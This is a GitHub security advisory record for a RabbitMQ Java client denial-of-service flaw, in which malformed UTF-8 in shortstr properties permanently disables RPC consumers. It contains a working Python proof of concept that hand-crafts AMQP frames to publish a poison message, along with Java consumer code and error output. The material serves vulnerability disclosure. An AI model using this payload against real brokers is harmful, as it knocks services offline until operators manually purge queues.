{"id":"GHSA-7822-rcf6-97fx","summary":"RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers","details":"### Summary\n\nA single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer.\n\nThe client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel.\n\nThe message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.\n\nIn short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone.\n\n### Details\n\n`ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75\n\n`ValueWriter.writeShortstr` then rejects the result with an unchecked exception:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56\n\nSo a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected.\n\nTwo consumption paths are impacted:\n\n1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently:\n   https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129\n\n2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.\n\nIn both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue.\n\nA related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.\n\n### PoC\n\nNeither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.**\n\n1. Start a broker:\n\n```bash\ndocker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq\n```\n\n2. Publish a message whose `correlation-id` is 255 × `0xFF`:\n```python\nimport socket, struct\n\ndef sstr(b):\n    if isinstance(b, str): b = b.encode()\n    return struct.pack(\"\u003eB\", len(b)) + b\ndef lstr(b): return struct.pack(\"\u003eI\", len(b)) + b\ndef fr(t, ch, p): return struct.pack(\"\u003eBHI\", t, ch, len(p)) + p + b\"\\xce\"\ndef m(c, mi, a=b\"\"): return struct.pack(\"\u003eHH\", c, mi) + a\n\nQUEUE = \"rpc.poison\"\ns = socket.create_connection((\"127.0.0.1\", 5672), timeout=10)\n\ndef rf():\n    h = b\"\"\n    while len(h) \u003c 7: h += s.recv(7 - len(h))\n    t, ch, sz = struct.unpack(\"\u003eBHI\", h)\n    p = b\"\"\n    while len(p) \u003c sz: p += s.recv(sz - len(p))\n    s.recv(1); return t, ch, p\ndef wait(c, mi):\n    while True:\n        t, ch, p = rf()\n        if t == 1 and struct.unpack(\"\u003eHH\", p[:4]) == (c, mi): return p[4:]\n\ns.sendall(b\"AMQP\\x00\\x00\\x09\\x01\"); wait(10, 10)\ns.sendall(fr(1, 0, m(10, 11, struct.pack(\"\u003eI\", 0) + sstr(\"PLAIN\")\n    + lstr(b\"\\x00guest\\x00guest\") + sstr(\"en_US\"))))\ncm, fm, _ = struct.unpack(\"\u003eHIH\", wait(10, 30)[:8])   # must echo broker's limits\ns.sendall(fr(1, 0, m(10, 31, struct.pack(\"\u003eH\", cm) + struct.pack(\"\u003eI\", fm) + struct.pack(\"\u003eH\", 0))))\ns.sendall(fr(1, 0, m(10, 40, sstr(\"/\") + sstr(\"\") + b\"\\x00\"))); wait(10, 41)\ns.sendall(fr(1, 1, m(20, 10, sstr(\"\")))); wait(20, 11)\ns.sendall(fr(1, 1, m(50, 10, struct.pack(\"\u003eH\", 0) + sstr(QUEUE) + b\"\\x02\"\n    + struct.pack(\"\u003eI\", 0)))); wait(50, 11)\n\ns.sendall(fr(1, 1, m(60, 40, struct.pack(\"\u003eH\", 0) + sstr(\"\") + sstr(QUEUE) + b\"\\x00\")))\nprops = sstr(b\"\\xff\" * 255) + sstr(\"some-reply-queue\")   # correlation-id = bit 10, reply-to = bit 9\ns.sendall(fr(2, 1, struct.pack(\"\u003eHHQ\", 60, 0, 6) + struct.pack(\"\u003eH\", (1 \u003c\u003c 10) | (1 \u003c\u003c 9)) + props))\ns.sendall(fr(3, 1, b\"poison\"))\n\n# close cleanly, otherwise the broker may not commit the publish\ns.sendall(fr(1, 0, m(10, 50, struct.pack(\"\u003eH\", 200) + sstr(\"done\") + struct.pack(\"\u003eHH\", 0, 0))))\nwait(10, 51); s.close()\nprint(\"published to\", QUEUE)\n```\n\n3. Run a consumer using the tutorial pattern against `rpc.poison`:\n\n```java\nDeliverCallback cb = (tag, delivery) -\u003e {\n    AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()\n        .correlationId(delivery.getProperties().getCorrelationId()).build();\n    channel.basicPublish(\"\", delivery.getProperties().getReplyTo(), reply, \"pong\".getBytes(\"UTF-8\"));\n    channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);\n};\nchannel.basicConsume(\"rpc.poison\", false, cb, t -\u003e {});\n```\n\nObserved:\n\n```bash\njava.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.\n  at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)\n  at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)\nchannel open after: false\nqueue depth after: 1\n```\n\nThe same message run against `RpcServer.mainloop()` kills the loop thread instead, and re-kills it on every restart.\n\n**Control:** 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.\n\n**Negative results, for completeness:** automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.\n\n### Impact\nDenial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.","aliases":["CVE-2026-106122"],"modified":"2026-10-07T20:30:07.156315722Z","published":"2026-10-07T20:25:29Z","database_specific":{"cwe_ids":["CWE-172","CWE-248"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-07T20:25:29Z","nvd_published_at":"2026-10-06T19:17:43Z"},"references":[{"type":"WEB","url":"https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106122"},{"type":"WEB","url":"https://github.com/rabbitmq/rabbitmq-java-client/pull/2065"},{"type":"WEB","url":"https://github.com/rabbitmq/rabbitmq-java-client/commit/b8bd750fa8c90690e859b18d6343b34421309020"},{"type":"PACKAGE","url":"https://github.com/rabbitmq/rabbitmq-java-client"},{"type":"WEB","url":"https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.36.0"}],"affected":[{"package":{"name":"com.rabbitmq:amqp-client","ecosystem":"Maven","purl":"pkg:maven/com.rabbitmq/amqp-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.36.0"}]}],"versions":["1.3.0","1.5.4","1.5.5","1.6.0","1.7.2","1.8.0","1.8.1","2.0.0","2.1.0","2.1.1","2.2.0","2.3.0","2.3.1","2.4.1","2.5.0","2.5.1","2.6.0","2.6.1","2.7.0","2.7.1","2.8.0","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0","3.2.1","3.2.2","3.2.3","3.2.4","3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.4.0","3.4.1","3.4.2","3.4.3","3.4.4","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.6.0","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","4.0.0","4.0.1","4.0.2","4.0.3","4.1.0","4.1.1","4.10.0","4.11.0","4.11.1","4.11.2","4.11.3","4.12.0","4.2.0","4.2.1","4.2.2","4.3.0","4.4.0","4.4.1","4.4.2","4.5.0","4.6.0","4.7.0","4.8.0","4.8.1","4.8.2","4.8.3","4.9.0","4.9.1","4.9.2","4.9.3","5.0.0","5.1.0","5.1.1","5.1.2","5.10.0","5.11.0","5.12.0","5.13.0","5.13.1","5.14.0","5.14.1","5.14.2","5.14.3","5.15.0","5.16.0","5.16.1","5.17.0","5.17.1","5.18.0","5.19.0","5.2.0","5.20.0","5.21.0","5.22.0","5.23.0","5.24.0","5.25.0","5.26.0","5.27.0","5.27.1","5.28.0","5.29.0","5.3.0","5.30.0","5.31.0","5.32.0","5.33.0","5.33.1","5.34.0","5.35.0","5.4.0","5.4.1","5.4.2","5.4.3","5.5.0","5.5.1","5.5.2","5.5.3","5.6.0","5.7.0","5.7.1","5.7.2","5.7.3","5.8.0","5.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.35.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7822-rcf6-97fx/GHSA-7822-rcf6-97fx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}